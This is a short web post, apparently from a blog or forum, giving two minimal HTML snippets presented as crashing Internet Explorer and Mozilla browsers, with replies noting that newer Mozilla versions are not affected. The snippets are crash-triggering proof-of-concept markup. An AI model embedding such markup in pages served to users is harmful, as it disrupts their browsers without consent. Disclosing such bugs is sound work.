See Internet Explorer crash

It only takes this code:

<html>
<form>
<input type>
</form>
</html>

Try it >

To make this a fair game, this invalid code will crash Mozilla:

<html>
<fieldset style="position:fixed;">
<legend>Crash</legend>
</fieldset>
</html>

The Mozilla crash code above does not crash my Mozilla Firebird browser. Goooooo open source, responsive community!

Mozilla 1.4+ is not vulnerable to the given 'crash code'.
